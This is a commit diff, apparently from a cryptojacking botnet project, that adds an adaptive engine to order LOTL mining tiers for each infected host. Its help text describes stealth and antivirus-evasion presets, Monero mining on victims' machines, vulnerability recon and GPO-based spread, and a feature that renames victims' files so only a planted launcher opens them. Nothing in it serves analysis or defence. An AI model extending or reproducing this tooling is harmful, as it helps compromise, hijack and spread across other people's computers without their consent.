Add fleet adaptive strategy engine for proactive LOTL tier ordering
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
This commit is contained in:
@@ -13,6 +13,20 @@ export interface EnvironmentProbes {
|
||||
webview2?: boolean;
|
||||
}
|
||||
|
||||
export interface StrategyReason {
|
||||
fact: string;
|
||||
inference: string;
|
||||
action: string;
|
||||
}
|
||||
|
||||
export interface AdaptiveStrategyView {
|
||||
tier_order?: string[];
|
||||
skip_tiers?: string[];
|
||||
reasoning?: StrategyReason[];
|
||||
confidence?: number;
|
||||
updated_at?: string;
|
||||
}
|
||||
|
||||
export interface AccessDepthDiagnostics {
|
||||
environment_probes?: EnvironmentProbes;
|
||||
tier_chain_order?: string[];
|
||||
@@ -21,6 +35,8 @@ export interface AccessDepthDiagnostics {
|
||||
lotl_attempts?: TierAttempt[];
|
||||
active_method?: string;
|
||||
execution_mode?: string;
|
||||
adaptive_strategy?: AdaptiveStrategyView;
|
||||
strategy_reasoning?: StrategyReason[];
|
||||
}
|
||||
|
||||
export interface AccessDepthServerPolicy {
|
||||
@@ -72,7 +88,10 @@ export interface AccessDepthModel {
|
||||
miningOnion: OnionTierRow[];
|
||||
spreadOnion: OnionTierRow[];
|
||||
tripleOnionSummary?: string;
|
||||
miningOrderSource: 'agent' | 'server' | 'default';
|
||||
miningOrderSource: 'agent' | 'server' | 'default' | 'adaptive';
|
||||
adaptiveActive: boolean;
|
||||
strategyReasoning: StrategyReason[];
|
||||
adaptiveConfidence?: number;
|
||||
}
|
||||
|
||||
/** Default mining tier onion pushed at agent auth when Calibrate sends no override. */
|
||||
@@ -122,6 +141,9 @@ export function parseAccessDepthDiagnostics(raw: Record<string, unknown>): Acces
|
||||
(typeof raw.active_tier === 'string' && raw.active_tier) ||
|
||||
undefined;
|
||||
|
||||
const adaptive = parseAdaptiveStrategy(raw.adaptive_strategy);
|
||||
const reasoning = parseStrategyReasoning(raw.strategy_reasoning) ?? adaptive?.reasoning;
|
||||
|
||||
return {
|
||||
environment_probes: parseEnvironmentProbes(raw.environment_probes),
|
||||
tier_chain_order: tier_chain_order?.length ? tier_chain_order : undefined,
|
||||
@@ -130,9 +152,44 @@ export function parseAccessDepthDiagnostics(raw: Record<string, unknown>): Acces
|
||||
lotl_attempts: attempts.length ? attempts : undefined,
|
||||
active_method: typeof raw.active_method === 'string' ? raw.active_method : undefined,
|
||||
execution_mode: typeof raw.execution_mode === 'string' ? raw.execution_mode : undefined,
|
||||
adaptive_strategy: adaptive,
|
||||
strategy_reasoning: reasoning,
|
||||
};
|
||||
}
|
||||
|
||||
function parseStrategyReasoning(raw: unknown): StrategyReason[] | undefined {
|
||||
if (!Array.isArray(raw)) return undefined;
|
||||
const out: StrategyReason[] = [];
|
||||
for (const row of raw) {
|
||||
if (!row || typeof row !== 'object') continue;
|
||||
const r = row as Record<string, unknown>;
|
||||
if (typeof r.fact !== 'string' || typeof r.inference !== 'string' || typeof r.action !== 'string') continue;
|
||||
out.push({ fact: r.fact, inference: r.inference, action: r.action });
|
||||
}
|
||||
return out.length ? out : undefined;
|
||||
}
|
||||
|
||||
function parseAdaptiveStrategy(raw: unknown): AdaptiveStrategyView | undefined {
|
||||
if (!raw || typeof raw !== 'object') return undefined;
|
||||
const row = raw as Record<string, unknown>;
|
||||
const tier_order = Array.isArray(row.tier_order)
|
||||
? row.tier_order.filter((t): t is string => typeof t === 'string' && t.trim() !== '')
|
||||
: undefined;
|
||||
const skip_tiers = Array.isArray(row.skip_tiers)
|
||||
? row.skip_tiers.filter((t): t is string => typeof t === 'string' && t.trim() !== '')
|
||||
: undefined;
|
||||
const reasoning = parseStrategyReasoning(row.reasoning);
|
||||
const confidence = typeof row.confidence === 'number' ? row.confidence : undefined;
|
||||
const updated_at = typeof row.updated_at === 'string' ? row.updated_at : undefined;
|
||||
if (!tier_order?.length && !reasoning?.length) return undefined;
|
||||
return { tier_order, skip_tiers, reasoning, confidence, updated_at };
|
||||
}
|
||||
|
||||
function ordersDiffer(a: readonly string[], b: readonly string[]): boolean {
|
||||
if (a.length !== b.length) return true;
|
||||
return a.some((tier, i) => tier.toLowerCase() !== b[i]?.toLowerCase());
|
||||
}
|
||||
|
||||
function platformLabel(platform?: string): string {
|
||||
const p = (platform || '').toLowerCase();
|
||||
if (p.includes('darwin') || p.includes('mac')) return 'macOS';
|
||||
@@ -199,7 +256,17 @@ function resolveMiningOrder(
|
||||
diag: AccessDepthDiagnostics | undefined,
|
||||
policy: AccessDepthServerPolicy | undefined,
|
||||
agent: Agent,
|
||||
): { order: string[]; skipped: string[]; source: 'agent' | 'server' | 'default' } {
|
||||
): { order: string[]; skipped: string[]; source: 'agent' | 'server' | 'default' | 'adaptive' } {
|
||||
if (diag?.adaptive_strategy?.tier_order?.length) {
|
||||
const adaptiveOrder = diag.adaptive_strategy.tier_order;
|
||||
if (ordersDiffer(adaptiveOrder, DEFAULT_MINING_TIER_ORDER) || (diag.strategy_reasoning?.length ?? 0) > 0) {
|
||||
return {
|
||||
order: adaptiveOrder,
|
||||
skipped: diag.adaptive_strategy.skip_tiers ?? diag.tier_chain_skipped ?? [],
|
||||
source: 'adaptive',
|
||||
};
|
||||
}
|
||||
}
|
||||
if (diag?.tier_chain_order?.length) {
|
||||
return {
|
||||
order: diag.tier_chain_order,
|
||||
@@ -341,6 +408,9 @@ export function buildAccessDepthModel(
|
||||
})),
|
||||
tripleOnionSummary: `recon: ${recon.slice(0, 3).join(' → ')}… · deploy: ${deploy.slice(0, 3).join(' → ')}…`,
|
||||
miningOrderSource: source,
|
||||
adaptiveActive: source === 'adaptive',
|
||||
strategyReasoning: diagnostics?.strategy_reasoning ?? diagnostics?.adaptive_strategy?.reasoning ?? [],
|
||||
adaptiveConfidence: diagnostics?.adaptive_strategy?.confidence,
|
||||
};
|
||||
}
|
||||
|
||||
|
||||
@@ -1,5 +1,9 @@
|
||||
/** Ordered LOTL spread contingency tiers — shared by Forge preset + spread wiki. */
|
||||
|
||||
/** Mining tier order can be personalized per host by the fleet adaptive engine (Crucible → Access Depth → Strategy). Spread lotl_onion_tiers in Calibrate still control deploy contingencies. */
|
||||
export const ADAPTIVE_STRATEGY_HELP =
|
||||
'Mining tier order can be personalized per host fingerprint by the fleet adaptive engine (Crucible → Access Depth → Strategy). Spread lotl_onion_tiers in Calibrate still control deploy contingencies.';
|
||||
|
||||
export const DEFAULT_LOTL_ONION_TIERS = [
|
||||
'vuln_recon',
|
||||
'docker',
|
||||
|
||||
@@ -28,6 +28,10 @@ export const FIELD_HELP: Record<string, string> = {
|
||||
'One-click preset bundles: Ghost (stealth LAN), Loud (lab logs), Wildfire (spread kit), AV-Safe (in-process XMR only), LOTL Onion (AV-Safe mining + native-tool spread tier chain with server-pulled contingencies). Switches sensible defaults — individual fields below can still be fine-tuned.',
|
||||
forge_lotl_onion:
|
||||
'LOTL Onion preset: in-process RandomX (same XMR wallet field), no GPU exe drop, ordered vuln recon→GPO spread contingencies. When lotl_policy_from_server is on, tier order is pulled from Calibrate server config on agent auth — re-forge not required to reorder tiers.',
|
||||
adaptive_strategy:
|
||||
'Fleet adaptive strategy learns LOTL mining tier order from your own machines (OS, Docker/WSL probes, subnet, hashrate outcomes). On connect the server pushes a personalized tier walk with strategy_reasoning bullets before the agent tries the default onion. Overrides order/skip hints only — not wallet or patch_first gates. Toggle with server.adaptive_strategy_enabled (default on).',
|
||||
lotl_onion_tiers:
|
||||
'Ordered spread contingency chain for LOTL Onion forges with lotl_policy_from_server. Mining tier order is separate (mining_tier_policy / adaptive_strategy). Spread tiers apply on reconnect without re-forge; adaptive strategy can reorder mining tiers proactively from fleet stats.',
|
||||
forge_path_forge:
|
||||
'Server-side recursive batch seed: enter a folder path and the server walks it, placing a launcher next to every matching file without uploading anything. Lock Original renames the source so only the companion launcher can open it — it re-locks after playback.',
|
||||
forge_recommended_defaults:
|
||||
|
||||
Reference in New Issue
Block a user